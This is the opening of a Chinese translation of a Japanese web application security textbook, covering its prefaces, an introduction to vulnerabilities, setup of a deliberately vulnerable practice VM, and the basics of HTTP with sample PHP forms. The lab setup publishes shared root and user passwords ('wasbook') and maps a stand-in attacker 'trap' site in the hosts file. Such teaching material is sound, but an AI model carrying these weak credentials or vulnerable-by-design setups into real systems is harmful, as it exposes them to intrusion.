应用当中。\n本次受图灵公司的邀请，参与了本书的校译工作，在进行校译期间看到了赵文和刘斌两位译者深厚的日文专业技术功底，同时也深深地感受到了日本人工作的严谨，作者在书中为大家准备了详实的应用案例和代码。\n我作为 OWASP 中国北京的负责人，有幸组织和参与了在中国区域内召开的信息安全峰会与亚洲应用安全峰会，发现国外的信息安全专家更善于总结。他们能通过有效的方法论有效地进行一些精尖技术的推广和学习，而国内的信息安全专家在介绍一些高精技术时一般只告知结果，而不介绍过程。\n《Web 应用安全权威指南》这本书的作者是日本 Web 安全第一人，足见其编程功底之深厚。本书没有欧美作者的那些诙谐幽默的用语，更多的是严谨而实用的陈述。作者以 Web 应用的安全隐患为引子，将产生安全隐患的原因作为整个主线来描述，同时还生动地介绍了试验这些安全隐患的环境的搭建，以及缺陷代码的示例。同时本书又给大家做了很好的补充说明，讲述了 Web 安全的基础协议和原理，帮助读者打好 Web 安全的基本功。\n最难能可贵的是，本书详尽地讲解了 SQL 注入、XSS、CSRF 等的基本原理，同时又增加了详尽的代码解析。这是一本难得的 Web 应用安全指南。无论你是 Web 安全的爱好者，还是研究者，都可以将它作为一本很好的参考书籍。个人建议一些高校的学生通过学习本书，实现从 Web 安全的基础入门到精通。\nOWASP 中国北京区负责人、51CTO 信息安全专家\n陈亮（OWASP 子明）\n译者序\n2011 年，索尼遭受了 3 次大规模攻击，造成 7700 万 PlayStation Network（PSN）用户的个人信息泄漏。攻击令 PSN 网络服务瘫痪了 23 天，给索尼造成了上亿美元的经济损失。\n2011 年 12 月，国内知名开发者社区 CSDN 遭到攻击，600 万用户账号及明文密码泄漏并在网络上被大量传播。\n2013 年 3 月，全球知名的云笔记应用 Evernote 遭到攻击，导致 5000 万用户的邮箱地址和加密密码泄漏。\n写下这篇文字时，又正值全球最大的众筹网站 Kickstarter 被攻击而导致用户信息被窃取。\n一件件触目惊心的事件无一不在提醒着我们网络安全的重要性。造成这些事件的罪魁祸首或许只是代码中一些不起眼的地方，但引发的影响及后果却骇人听闻。掌握如何在编程时不引入漏洞已成为了 Web 应用开发者不可或缺的技能。\n然而，当开发者想要系统性地学习 Web 应用安全时，却发现市面上充斥着以攻击者的视角写作的“XX 攻防大全”等书籍，却鲜有站在开发者立场的优秀的权威性书籍可供参考。图灵公司引进的这本《Web 应用安全权威指南》正好填补了这一领域的空缺。\n“在那本‘德丸本’中有透彻的讲解。”这是译者在日本工作期间，向同事询问“什么是 CSRF”时得到的答复。没错，“德丸本”就是本书在日本的昵称，几乎在每个 Web 开发小组的案头都能发现它的身影。\n本书的作者德丸浩先生在日本被誉为“Web 应用安全领域第一人”，他在经营着一家 Web 安全咨询公司的同时，还在博客上笔耕不辍，孜孜不倦地分享着自己 Web 安全方面的知识，得此称号可谓实至名归。这本书是目前为止德丸浩先生出版的唯一一本图书，可以说是从业多年的经验沉淀下来的精华。\n看过日系技术书的读者，一定会对其通俗易懂、深入浅出、谦虚谨慎等特点印象深刻，本书也不例外。SQL 注入、XSS、CSRF 等对于 Web 开发人员来说耳熟能详却可能一知半解的术语，都将在这本书中详细剖析。本书既适合从头到尾通读来进行系统性学习，也适合作为参考书时常查阅。\n最后，再一次感谢图灵文化的编辑们能将这本书引入到国内。感谢另一位译者刘斌的辛勤付出，使得本书能够成功地问世。还要感谢妻子马超对我使用业余时间进行翻译工作的鼓励和支持。\n希望本书能够让您受益。\n赵文\n2014 年 2 月于无锡\n前言\n近年来，利用 Web 应用存在的安全隐患（即所谓的“漏洞”）展开攻击的案例层出不穷，受害者也与日俱增。虽说只要消除安全隐患就能够杜绝这些攻击，但这就需要 Web 应用开发人员掌握正确的安全性方面的知识。\n目前，网络上充斥着大量关于安全性的信息，但多数内容都只是流于表面，无法解答开发人 员的困惑。具体来说，主要存在以下几点疑问。\n为什么会产生安全隐患\n安全隐患会产生什么样的影响\n如何编程才能消除安全隐患\n为什么某些方法能够消除安全隐患\n而本书就是为了解答这些疑问而创作的。为此，从安全隐患产生的原理到具体的对策，以及采用该对策的根据，本书都将尽可能地详细讲述。本书的目标读者包括程序员、设计师、项目经理、质量管理负责人等参与 Web 应用开发的全部人员。另外，本书也会站在 Web 应用的发包方（甲方）的立场上，尽可能地为其提供有用的信息。\n虽然本书面向的是开发人员，但对攻击的手段也做了详细的解说。目的就是为了能够让读者切实感受到安全隐患所造成的影响。但有一点需要注意的是，如果没有得到网站管理员的许可就尝试实施攻击的话，就有可能会触犯相关的法律法规。由于非专业人员很难判断自己的行为是否违法，因此，请不要在没有得到许可的情况下攻击正式的网站。\n为了让读者能够放心地体验攻击流程，本书提供了在 VMware Player 的虚拟机环境中尝试安全隐患攻击的方法。希望读者能够通过亲自动手，来加深对安全隐患的理解。\n最后，虽然本书中的示例代码主要使用了 PHP 语言，但讲述的内容对其他语言也是同样适用的。\n谢辞\n笔者在写作本书时，在网上征集了一些试读者，并根据试读者的意见和反馈不断地进行了调整。试读者不仅指出了错别字及语法问题，还提出了各种各样的改进方案，甚至还就安全隐患进行了深入的探讨，实在令笔者受益匪浅。如果没有这些建议和探讨，本书就不会是现在的样子。衷心感谢以下这些试读者（恕笔者省略敬称）：\n大崎雅幸、太田良典、kaito834、加藤泰文、小邨孝明、坂井隆二、下冈叶子、高木正弘、竹迫良范、东内裕二、塙与志夫、日野洋一郎、山崎圭吾、山下太郎、Masahiro Yamada（masa141421356）、山本阳平\n另外，长谷川阳介先生对本书提出了宝贵意见。同时笔者还在 Twitter 上收到了很多人士的建议。在此一并表示感谢。\n最后还要感谢本书的编辑——SB Creative 股份有限公司信息书籍编辑部的友保健太先生，友保先生不仅对写作进度缓慢的笔者颇为照顾，还时常给出宝贵的意见和建议。在此向您致以衷心的感谢。\n2011 年 1 月\n德丸浩\n第 1 章 什么是 Web 应用的安全隐患\n本章将对“安全隐患”这一贯穿全书的主题加以概述，包括什么是安全隐患，安全隐患会带来哪些问题，安全隐患是如何产生的，等等。本章最后会给出全书的结构和学习方法。\n1.1 安全隐患即“能用于作恶的 Bug”\n程序 Bug 对于开发者来说如同家常便饭。应用程序有了 Bug，就会出现各种不正常的现象。例如，显示出错误的结果、需要进行的处理迟迟不能结束、网页布局错乱、响应速度极为缓慢等。而这其中，有一种 Bug 能被恶意利用。此类 Bug 被称为安全隐患（Vulnerability），有时也被称为安全性 Bug。\n以下是一些恶意利用的常见案例。\n未经许可浏览用户个人信息等隐私信息\n篡改网站的内容\n使网页浏览者的计算机感染病毒\n伪装成他人来窥探用户的隐私信息、发布文章、在线购物、肆意转账等\n使目标网站不能被访问\n在网络游戏中让自己达到无敌状态，或非法获得游戏中的装备道具\n在确认自己的个人信息时，能看到别人的个人信息 1\n1\n 能看到其他用户个人信息的 Bug 虽不是故意作恶，但由此而偶然造成的不良后果也被视为安全隐患。\n如同程序员对一般的 Bug（无奈地）习以为常一样，Web 应用程序开发者对安全隐患也同样已经司空见惯。倘若开发 Web 应用程序时对安全隐患一无所知，就会开发出能被用来进行上述恶举的网站。针对这一问题，本书将从原理到具体对策，来详细讲述如何在开发 Web 应用时杜绝安全隐患。\n1.2 为什么存在安全隐患会有问题\n为什么存在安全隐患会有问题，这是个越思考就越深入的课题。接下来，就让我们从几个方面来探讨一下必须杜绝安全隐患的原因。\n经济损失\n应杜绝安全隐患的原因之一为，假如网站的安全隐患被恶意利用，网站的经营者将会蒙受经济损失。典型的损失为以下几项。\n赔偿用户的经济损失\n给用户寄送代金券作为补偿时的花销\n网站暂停运营造成的机会损失\n信誉度下降造成的营业额减少\n此类经济损失的总额有时会高达数十亿日元。\n然而，或许有人会有这样的疑问。如果网站的营销规模并不大，上述列举的各项经济损失就会变得相对较小。所以可能有些网站运营方就会采取这种思路：事前不做相应对策，万一出事了就赔偿用户的损失。2\n但是，实际的损失并不仅限于经济损失。\n法律要求\n3\n《个人信息保护法》是规定网站实施安全性措施的法律。该法第 20 条规定，拥有超过 5000 名用户的网站运营方，作为个人信息经营者，有义务实施网站的安全管理措施。\n（安全管理措施）\n第二十条 个人信息经营者，为了安全管理其用户的个人信息，必须采取必要且恰当的措施，防止用户的个人信息被泄漏、删除或损坏。\n安全管理措施的具体内容，由各省厅分别制定规章。其中，“经济产业领域关于个人信息保护法的指导方针”中，“技术性安全管理措施”中的“‘个人数据访问控制’的实践方法示例”一节中有如下记载。\n检验处理个人信息的系统中引入的访问控制功能的有效性。\n（例如，检验网络应用是否存在安全隐患。）\n也就是说，通过 Web 系统管理个人信息的运营者受到《个人信息保护法》以及相关规章的约束，承担着对 Web 应用的安全隐患采取安全管理措施的法律义务。\n对用户造成不可逆的伤害\n应该意识到，安全隐患造成的事故会给用户带来很多不可逆的伤害。个人信息一旦泄漏，就不可能再回收。账号被盗而导致用户的名誉受损之后，就再也回不到以前的状态了。另外，如果用户的信用卡账号被泄漏，即使赔偿了用户的金钱损失，也不可能完全平抚用户受到的恐慌、不安等精神上的痛苦。换言之，一旦发生了安全事故，就会出现很多金钱无法解决的问题。\n欺骗用户\n大多数网站都会夸耀自身有多么安全。没有网站会表示“本站完全不保证安全性，对于可能出现的安全问题概不负责”。假如网站强调了自己的安全性，就最好将安全隐患消除干净。安全隐患的存在会极大地影响网站的信誉度与可信任性。\n被用于构建僵尸网络\n僵尸网络（Botnet）的存在，是威胁互联网安全的主要因素之一。僵尸病毒（Bot）是一种恶意代码（Malware），计算机被感染后就能够被外界远程操纵，用来发送垃圾邮件或执行 DDoS 攻击（分布式拒绝服务攻击）等恶意行为。据传，2010 年初爆发的 Gumblar 恶意程序的目的之一就是构建僵尸网络。\nWeb 应用的安全隐患也可能被用于构建僵尸网络，情形如图 1-1 所示。\n图 1-1 Web 应用的安全隐患被用来构建僵尸网络\n攻击者首先会篡改存在安全隐患的网站的内容，并设下圈套试图让浏览者的计算机感染僵尸病毒。假如浏览网站的用户的计算机存在安全隐患，就会感染上僵尸病毒，从而便能够接受攻击者的命令。进入僵尸网络的计算机 4\n 会被用来发送垃圾邮件或执行 DDoS 攻击。另外，有时僵尸机器也会去攻击新的服务器。如此这般，新被入侵的机器也加入到了被控的僵尸 Web 服务器集群，那么被感染僵尸病毒的计算机集群的数量就会不断扩大。\n据传，僵尸网络带来的收益是网络犯罪者的一项主要收入来源。换言之，在互联网上发布一个带有安全隐患的网站，就有被反社会势力利用的可能性。\n2\n 这种策略被称为“风险自留”。\n3\n 本节阐述的是日本的相关法律，供中国读者参考。遗憾的是，截至译稿时（2013 年 9 月），中国在网络安全隐患方面还没有推出相应的法律法规。——译者注\n4\n 俗称“肉鸡”。 ——译者注\n1.3 产生安全隐患的原因\n接下来本节将说明安全隐患产生的原因，据此就可以理解为何笔者之前会说“Web 应用程序开发者对安全隐患已经司空见惯”。\n首先，产生安全隐患的原因可分为以下两类。\n（A）由 Bug 造成\n（B）由检验功能不完善造成\n情况（A）包含 SQL 注入（SQL Injection）和跨站脚本（Cross Site Scripting，简称 XSS）等极具影响力的著名的安全隐患。此类隐患不仅发生场所与安全性毫不相关，而且波及范围能扩散至整个应用程序，着实让人头疼。因此，开发团队的每一个成员在编写应用程序时就必须具有极强的安全意识，但可惜目前还有很多开发团队并未这么做。\n另一方面，目录遍历（Directory Traversal）漏洞是情况（B）中一个代表性的例子。产生此类安全隐患的原因是很多开发者缺乏执行安全检验的意识，而且同（A）一样，它造成的影响也会波及整个应用程序。\n由此可见，Web 应用的安全隐患可以被形象地比喻为“在意想不到的地方隐藏着的一个很深的陷阱”。因此，一直以来安全隐患都在源源不断地产生。但是，与真正的陷阱不同的是，我们能够通过学习提前得知哪里会有陷阱。\n1.4 安全性 Bug 与安全性功能\n本章开头我们提到安全隐患是一种 Bug，但有时即使修正了所有 Bug 也不能保证应用程序绝对安全。举例来说，没有使用 HTTPS 协议（超文本传输安全协议）来加密传输的状态并不能算作是 Bug，这种情况下，虽然不存在（狭义的）安全隐患，但是传输的内容却存在被窃听的可能性。\n如同使用 HTTPS 来对传输内容进行加密那样，积极主动地加强安全性的措施在本书中被称为“安全性功能”。安全性功能实为应用程序的一种需求，所以也被称为安全性需求。\n从开发管理这一层面上来说，将应用程序安全性方面的 Bug 和需求这两者整理清楚也是至关重要的。如同 Bug 必须被消除一样，消除安全隐患也应当是理所当然的。另一方面，是否将安全性功能加入到项目需求中，则应该由软件的发包方结合项目经费作出决定。\n为了让读者有意识地区分安全性 Bug 和安全性功能，本书特意将两者分别独立成章来加以细述。\n1.5 本书的结构\n本书结构如下。\n第 1 章，引入安全隐患这个概念，介绍安全隐患是如何产生的，说明安全性 Bug 和安全性功能的区别。\n第 2 章，搭建本书的试验环境。本书通过 VMware 的虚拟机提供了可以实际体验安全隐患的环境。该章会介绍搭建此虚拟机环境和安装诊断用工具的方法。\n第 3 章，讲述 HTTP、Cookie、会话（Session）管理等 Web 应用安全方面的基础知识，还会介绍同源策略。\n第 4 章，全书的核心章节。针对 Web 应用的每一个功能中易产生的安全隐患模式，对其原理及对策等各个方面加以详细说明。\n第 5 章，讲述认证、账号管理、授权、日志输出等典型的安全性功能。\n第 6 章，讲述字符编码与安全性的关系。Web 应用安全隐患的起因很多都涉及字符编码。本章将讲述字符编码的基础知识、安全隐患产生的原因和相应的对策。\n第 7 章，从 Web 应用以外的方面，描绘提高网站安全性措施的全景。\n第 8 章，讲述如何开发安全无虞的 Web 应用。\n第 2 章 搭建试验环境\n本章将讲解如何搭建本书中安全隐患用例的运行环境，其中的截图是在 Windows 7 中取得的，但这些操作同样适用于 Windows XP 或 Windows Vista。\n2.1 试验环境概要\n本书中安全隐患用例的运行环境如下：\nLinux（Ubuntu 10.04）\nApache 2.2\nPHP 5.3\nPostgreSQL 8.4\nPostfix 等兼容 Sendmail 的电子邮件服务器\n为了方便使用 Windows 操作系统的读者，本书为大家准备了已经将上述环境搭建完毕的 VMware 虚拟机。下图展示了在 VMware 中运行 Linux 系统的情形。\n图 2-1 本书的试验环境\n虽然虚拟机中的 Linux 服务器事实上是在读者自己的计算机中运行的，但请将其想像成互联网上的一台远程服务器。通过使用虚拟机，我们就能在自己的计算机上模拟近似于互联网上的服务器环境。\n本章需要安装以下软件。\nVMware Player（VMware 运行环境）\nFiddler（诊断用工具）\n虚拟机\nVMware Player 和 Fiddler 是免费公开的软件。虚拟机则是指为了能够在 VMware Player 上运行本书代码而配置的 Linux 环境。\n从下一节开始，我们将依次解说各软件的安装方法。\n2.2 安装 VMware Player\n什么是 VMware Player\nVMware Player 是美国 VMware 公司推出的一款免费虚拟机软件。前面已经提到，本书将利用 VMware Player 在虚拟机上搭建 Linux 服务器的运行环境，并将其视为 Web 服务器来进行各种试验。\n写作本书时（2011 年 4 月），VMware Player 的最新版本为 3.1.4，软件要求的配置如下 1\n 。\nCPU ：标准的 x86 兼容系统或 x86-64 位兼容个人计算机，支持 Intel VT 或者 AMD-V（不支持 PAE 的 Pentium M 等处理器）\n操作系统：Windows XP、Windows Vista 或 Windows 7\n内存：1G 以上\n硬盘：有 1G 以上空余容量（包括虚拟机）\n如果硬盘剩余空间不足，可将虚拟机保存于外部存储媒介（如 U 盘或 SD 卡等），这样安装 VMware Player 本身只需要 150M 左右的空间即可。\n下载 VMware Player\n安装 VMware Player 的最新版，可以前往 http://www.vmware.com/go/downloadplayer-cn/\n 下载，页面如图 2-2 所示。\n图 2-2 在 VMware 的官方网站上能下载最新版的安装文件\n安装 VMware Player\n双击安装程序。这时会显示以下安装向导。\n图 2-3 安装开始\n安装过程中可以全部使用默认选项。如有必要，可以更改安装路径等。\n图 2-4 更改安装路径\n当看到以下画面时，说明安装已经成功。然后按照画面上的指示，重启系统即可。\n图 2-5 安装完成\n1\n 本章的讲解主要针对 Windows 操作系统，但本书附带的虚拟机环境在 Linux 版的 VMware Player 3.1.2，以及 Mac OS X 的 VMware Player 3.1.2 上已经做过测试，均能正常运行。\n2.3 安装虚拟机及运行确认\n接下来安装安全隐患用例的虚拟机。虚拟机的安装，请先到本书的支持页面下载 WASBOOK.ZIP 文件：链接：http://pan.baidu.com/s/1sj3jhA9 密码：ivfp\n ；然后，解压到合适的路径即可。解压后的大小约为 600M，所以请安装到至少还有 800M 以上剩余空间的盘符中。也可以安装至 U 盘或 SD 卡中。\n假定解压路径为“文档”文件夹。这样，文档文件夹内就会生成一个名为 WASBOOK 的文件夹。\n图 2-6 WASBOOK 文件夹的内容\n虚拟机启动确认\n双击 WASBOOK 文件夹中的 wasbook.vmx，就会启动 VMware Player。第一次启动 VMware Player 时，会出现以下对话框时，请务必选择“我已移动该虚拟机”。\n图 2-7 务必选择“我已移动该虚拟机”\n如果显示下图这样的 VMware Tools 下载对话框，请点击“以后提醒我”，然后 Linux 就开始启动了。\n图 2-8 不需要 VMware Tools\n当出现 wasbook login: 的登录提示时，说明启动已经完成。这时要先按下 Ctrl+G 将光标切换至虚拟机上，输入用户名 root，密码 wasbook，就能登录成功。接着在提示符中输入 ifconfig eth0，就会出现以下画面。\n图 2-9 登录虚拟机后，执行 ifconfig 命令\n这时，记下 inet addr: 右边显示的 IP 地址。这个 IP 地址在后面设置 hosts 文件时会用到。至此，虚拟机的启动确认就完成了。\n虚拟机的使用方法\n这里简单介绍一下虚拟机的使用方法。\n键盘输入切换\n要在虚拟机画面上输入时，只需在激活 VMware Player 的窗口后按下 Ctrl+G 即可。或者在 VMware Player 内部黑色区域中的任一位置按下鼠标。\n在虚拟机中输入完毕想要切换至其他窗口时，可按下 Ctrl+Alt。\n退出\n退出虚拟机有两种方法。\n如果是使用 root 登录的话，可以用以下命令退出虚拟机。输入阴影部分的内容。执行后就会立即开始关闭操作系统。\n# shutdown -h now\n另一种方法为，在出现登录提示时输入用户名 down，此处不需要输入密码，然后便会自动开始关闭操作系统。无论哪种方法，在 Linux 操作系统关闭之后，VMware Player 都会自动退出。\nLinux 的操作\n关于 Linux 的操作，本书不做讲述，请参考 Linux（Ubuntu）的相关书籍或网站。\n编辑 hosts 文件\n为了能顺利地执行试验，在此请将以下站名添加到 Windows 的 hosts 文件中。\nexample.jp………………存在安全隐患的网站\ntrap.example.com……攻击者准备的陷阱网站\nhosts（通常路径为 C:\\Windows\\System32\\drivers\\etc\\hosts）文件需要有管理者权限才能编辑（Windows Vista 或 Windows 7 的情况下），右击开始菜单中的记事本，选择“以管理者身份运行”。用记事本打开 hosts 文件时，在“打开”对话框的“文件种类”中要选择“全部文件”，这样才能显示出 hosts 文件。\n用记事本添加以下内容（阴影部分）并保存。IP 地址部分要替换为刚才自己记录下的虚拟机的 IP 地址。\nhosts 文件的编辑范例\n# localhost name resolution is handled within DNS itself.\n# 127.0.0.1 localhost\n# ::1 localhost\n127.0.0.1 localhost\n192.168.71.128 example.jp trap.example.com\n如此设置后，example.jp 和 trap.example.com 就都和虚拟机的 IP 地址（本例为 192.168.126.128）绑定了。\n另外，有些防病毒软件可能会检测到 hosts 文件被更改而阻止此操作。这种情况下需要解除防病毒软件的阻止。\n使用 ping 确认连接\n修改完 hosts 文件后，打开 Windows 的命令提示符，输入 ping example.jp，即能通过 ping 命令来确认网络连接（请先启动虚拟机）。如果不能连接成功，则可能为以下原因。\n启动虚拟机的过程中时选择了“我已复制该虚拟机”\nIP 地址错误\nhosts 文件中的网址错误\n编辑 hosts 文件时没有以管理者身份运行\n如果错选为“我已复制该虚拟机”，将虚拟机文件删除后重新解压 ZIP 文件即可。而 IP 地址是否错误则可以从 ping 命令的执行结果中看出。\nApache 与 PHP 的运行确认\n通过 ping 确认完网络连接后，启动 Internet Explorer（IE）浏览器，在地址栏中输入 http://example.jp/phpinfo.php\n ，就会显示图 2-10 所示的页面。\n图 2-10 成功连接虚拟机上的 Web 服务器\n设置并确认邮箱账号\n接下来，为了试验发送邮件时的安全隐患，需要设置邮箱账号。此设置将在 4.9 节和 4.11 节使用，所以现在暂时不设置也没有影响。\n在您使用的电子邮件客户端上设置以下账号。之所以设置 2 个账号，是因为试验中假设有 2 类收件人。\n表 2-1 试验用邮箱账号\n用户名\n密码\n邮箱地址\nPOP3服务器\nSMTP服务器\nwasbook\nwasbook\nwasbook@example.jp\nexample.jp\nexample.jp\nbob\nwasbook\nbob@example.jp\nexample.jp\nexample.jp\n使用 wasbook 的账号给 bob 发封邮件，即可检测以上设置是否成功。如果 bob 能正常收到，就表示配置正常。\n如果无法连接 POP3 服务器的话，请参考本章最后一页。\n2.4 安装 Fiddler\n为了深入理解 HTTP，本书将通过使用免费工具 Fiddler 来观察并修改 HTTP 数据包。本节首先解说 Fiddler 的安装方法。\n什么是 Fiddler\nFiddler 是一款由 Eric Lawrence 开发的免费的 Web 应用调试工具。Fiddler 在 Windows 计算机上以代理的方式运行，能够观察和修改 HTTP 的通信内容。同类产品还有 Burp suite 和 Paros 等。但是，和其他软件相比，Fiddler 不易出现乱码问题，且安装容易，因此本书将重点对 Fiddler 进行解说。\n安装 Fiddler\nFiddler 的最新版，可以在 http://fiddler2.com/get-fiddler\n 下载。点击“Download Fiddler2”按钮即可下载。下载后点击安装即可。\nFiddler 的运行确认及简单用法\nFiddler 能够从开始菜单处启动。启动后画面如图 2-11。这时，请点击“Decode”。\n图 2-11 Fiddler 的启动画面\nFiddler 启动时会修改 Internet Explorer（IE）的代理设置。这时，防病毒软件可能会阻止代理设置的变更。此情况下请解除防病毒软件的阻止。\n确认启动 Fiddler 后，用 IE 打开 http://example.jp/phpinfo.php\n （虚拟机上的网页）。如果已经显示有 phpinfo.php 的话，按 F5 刷新一下页面即可。这时会显示如图 2-12 的页面。\n图 2-12 通过 Fiddler 观察 HTTP 通信\n在画面左侧的“Web Session”中选择 /phpinfo.php。\n另外，请从界面上的众多标签中，选择画面上方的“Inspect”和“Raw”，以及画面中间的“Raw”。上述操作的目的在于显示 HTTP 的原始状态。\nFiddler 除了能显示 HTTP 消息，还能修改这些消息。具体内容在下一章会做讲述。\n至此，试验环境的安装就全部结束了。\n参考：虚拟机的数据一览\n已建立的用户账号\n用户名\n密码\n目的\nroot\nwasbook\nLinux的root用户\nwasbook\nwasbook\n应用程序管理者\nalice\nwasbook\n邮件发送者\nbob\nwasbook\n邮件接收者\ncarol\nwasbook\n其他\ndown\n（无）\n关机用\n已安装的软件\n服务\n软件\n版本\nOS(Linux)\nUbuntu\n10.04.1 LTS\nWeb服务器\nApache\n2.2.14\nPHP\nPHP\n5.3.2\n数据库\nPostgreSQL\n8.4.4\n邮件发送服务器\nPostfix\n2.7.0\nPOP3服务器\nDovecot\n1.2.9\nSSH服务器\nOpenSSH\n5.3\nApache 的根目录\n/var/www\n参考：如果无法连接试验环境的 POP3 服务器\n设置了第 17 页的邮箱账号后，如果无法连接 POP3 服务器，可以在虚拟机上执行以下命令来启动 Dovecot。\n# /etc/init.d/dovecot start\n图 2-13 启动 Dovecot\n如图 2-13 所示，显示“OK”即表明 Dovecot 已经启动。这时请再次连接 POP3 服务器。\n第 3 章 Web 安全基础 ： HTTP、会话管理、同源策略\n本章的内容是 Web 安全的重要基础。首先介绍 HTTP 协议和会话管理，然后讲述浏览器的安全性功能之一，也是理解跨站脚本等主要安全隐患的原理的必备知识——同源策略。\n3.1 HTTP 与会话管理\n为什么要学习 HTTP\nWeb 应用的安全隐患有些源于网络的固有特性。在 Web 应用中，哪些信息容易泄漏，哪些信息容易被篡改，如何才能保证信息安全？正是因为开发人员缺乏这些知识，才会在开发时埋下安全隐患。为了理解诸如此类源自 Web 特性的安全隐患，就必须要掌握 HTTP 和会话管理的相关知识。而这也是本节要讲述的内容。\n最简单的 HTTP\n在正式开始前，先来体验下最简单的 HTTP 吧。31-001.php 中有如下 PHP 代码。这段脚本的功能为显示当前时间。\n代码清单 /31/31-001.php\n<body>\n<?php echo htmlspecialchars(date('G:i')); ?>\n</body>\n访问 http://example.jp/31/\n 的菜单（以下写作“/31/ 菜单”），点击“31-001: 当前时间”链接（图 3-1），就可以在虚拟机上执行这段脚本了。\n图 3-1 /31/ 菜单\n执行结果如图 3-2 所示。\n图 3-2 显示时间脚本\n与此同时，在后台，浏览器会向服务器发送 HTTP 请求（HTTP Request），而收到浏览器请求的服务器则会向浏览器发回 HTTP 响应（HTTP Response）（图 3-3）。\n图 3-3 HTTP 的请求与响应\n使用 Fiddler 观察 HTTP 消息\n我们可以使用 Fiddler 来观察 HTTP 消息。启动 Fiddler 后，在 IE 浏览器上刷新刚才的页面。这次，浏览器和服务器之间的通信经过了 Fiddler，所以在 Fiddler 上能够看到 HTTP 的通信内容。\n图 3-4 通过 Fiddler 显示 HTTP 通信\n为了让 Fiddler 显示 HTTP 的通信情况，如图 3-4 所示，选择界面上方的“Inspectors”-“Raw”标签以及界面中间的“Raw”标签。然后，在界面左侧选择 31-001.php 请求。\n图中右侧红框中的内容就是浏览器与 Web 服务器之间互相传递的消息。下面，让我们来具体看一下这些内容。\n请求消息\nFiddler 界面右侧上半部分显示的内容，是浏览器向服务器发出的请求，被称为请求消息（Request Message）。\n请求消息的第 1 行被称为请求行（Request Line），相当于浏览器下达给服务器的命令。请求行由请求方法、URL（URI）和协议版本组成，它们之间以空格相隔（图 3-5）。在 Fiddler 界面中，请求行上显示的是包含了 Scheme（协议）和主机名（FQDN，全称域名）的绝对路径的 URL，这是因为请求经过了代理（Fiddler）的缘故，而通常情况下只会显示相对路径的 URL。\n图 3-5 请求行\nHTTP 的请求方法除了 GET（取得资源）以外，还有 POST 和 HEAD 等。GET 和 POST 与 HTML 中 form 元素的 method 属性指定的值相同。关于 POST 方法后面还会讲述。\n请求消息的第 2 行及以后的内容被称为请求头信息（Header），其格式为名称与值以冒号相隔。图 3-4 中显示了很多请求头信息，但其中只有 Host 是必需的 1\n 。Host 表示接收信息的主机名（FQDN）和端口号（80 时可以省略）。\n响应消息\n图 3-4 右侧的下半部分显示的是从 Web 服务器返回的内容，被称为响应消息（Response Message）。如图 3-6 所示，响应消息包含状态行、响应头信息和响应正文（Body）。\n状态行\nHTTP/1.1 200 OK\n响应头信息\nDate: Mon, 10 Jan 2011 05:34:30 GMT\nServer: Apache/2.2.14 (Ubuntu)\nX-Powered-By: PHP/5.3.2-1ubuntu4.2\nVary: Accept-Encoding\nContent-Length: 20\nKeep-Alive: timeout=15, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=UTF-8\n空行\n响应正文\n<body>\n14:34</body>\n图 3-6 响应消息的构造\n状态行\n状态行的内容是请求消息经过服务器处理以后的状态（图 3-7）。\n图 3-7 状态行的构造\n状态码的百位数有特殊含义，代表了响应的几种状态（表 3-1）。常见的状态码有：200（成功）、301 和 302（重定向）、404（找不到资源）、500（服务器内部发生错误）等。\n表 3-1 状态码的说明\n状态码\n概要\n1xx\n处理正在继续\n2xx\n成功\n3xx\n重定向\n4xx\n客户端错误\n5xx\n服务器错误\n响应头信息\n响应消息的第 2 行及以后的内容为响应头信息（图 3-6），内容一直到出现空行（只含有换行符的行）为止。以下为典型的响应头信息。\nContent-Length\n显示响应正文的字节数。\nContent-Type\n指定为 MIME 类型。HTML 文档的情况下则为 text/html。下表列出了常见的 MIME 类型。\n表 3-2 常见的 MIME 类型\nMIME类型\n含义\ntext/plain\n文本\ntext/html\nHTML文档\napplication/xml\nXML文档\ntext/css\nCSS\nmage/gif\nGIF图像\nimage/jpeg\nJPEG图像\nimage/png\nPNG图像\napplication/pdf\nPDF文档\n分号之后的 charset=UTF-8 表示 HTTP 响应的字符编码。字符编码必须被正确设置，具体原因及设置方法请参考第 6 章。\n如果将 HTTP 比喻为对话\n由于 HTTP 会持续不断进行请求与响应，所以将其比喻为人们的对话或许会更形象。以显示时间的脚本为例，将这个最简单的 HTTP 消息以对话的形式呈现的话，大概就像下面这样 2\n 。\n顾客：现在几点了？\n店员：15 点 21 分。\n接下来，我们看一个复杂些的 HTTP 消息的例子——“输入－确认－注册”模式的表单。\n1\n 如果 HTTP 协议版本为 1.0，Host 头信息也可以省略。\n2\n 将 HTTP 比喻成对话的灵感，源于书籍《Web 背后的技术》[1] 与《Web 技术入门》[2]。\n输入 - 确认 - 注册模式\n这里，通过观察“输入－确认－注册”模式中输入表单（Input Form）的 HTTP 消息，希望能够有助于读者更深入地理解 HTTP。\n以下分别为输入页面（31-002.php）、确认页面（31-003.php）和注册页面（31-004.php）的代码。\n代码清单 /31/31-002.php\n<html>\n<head><title> 个人信息输入 </title></head>\n<body>\n<form action=\"31-003.php\" method=\"POST\">\n姓名 <input type=\"text\" name=\"name\"><br>\n邮箱地址 <input type=\"text\" name=\"mail\"><br>\n性别 <input type=\"radio\" name=\"gender\" value=\" 女 \"> 女\n<input type=\"radio\" name=\"gender\" value=\" 男 \"> 男 <br>\n<input type=\"submit\" value=\" 确认 \">\n</form>\n</html>\n代码清单 /31/31-003.php\n<?php\n $name = @$_POST['name'];\n $mail = @$_POST['mail'];\n $gender = @$_POST['gender'];\n?>\n<html>\n<head><title> 确认 </title></head>\n<body>\n<form action=\"31-004.php\" method=\"POST\">\n姓名 :<?php echo htmlspecialchars($name, ENT_NOQUOTES, 'UTF-8'); ?><br>\n邮箱地址 :<?php echo htmlspecialchars($mail, ENT_NOQUOTES, 'UTF-8'); ?><br>\n性别 :<?php echo htmlspecialchars($gender, ENT_NOQUOTES, 'UTF-8'); ?><br>\n<input type=\"hidden\" name=\"name\" value=\"<?php echo htmlspecialchars($name, ENT_COMPAT, 'UTF-8'); ?>\">\n<input type=\"hidden\" name=\"mail\" value=\"<?php echo htmlspecialchars($mail, ENT_COMPAT, 'UTF-8'); ?>\">\n<input type=\"hidden\" name=\"gender\" value=\"<?php echo htmlspecialchars($gender, ENT_COMPAT, 'UTF-8'); ?>\">\n<input type=\"submit\" value=\" 注册 \">\n</form>\n</html>\n代码清单 /31/31-004.php\n<?php\n $name = @$_POST['name'];\n $mail = @$_POST['mail'];\n $gender = @$_POST['gender'];\n // 下面开始处理\n?>\n<html>\n<head><title> 注册成功 </title></head>\n<body>\n姓名 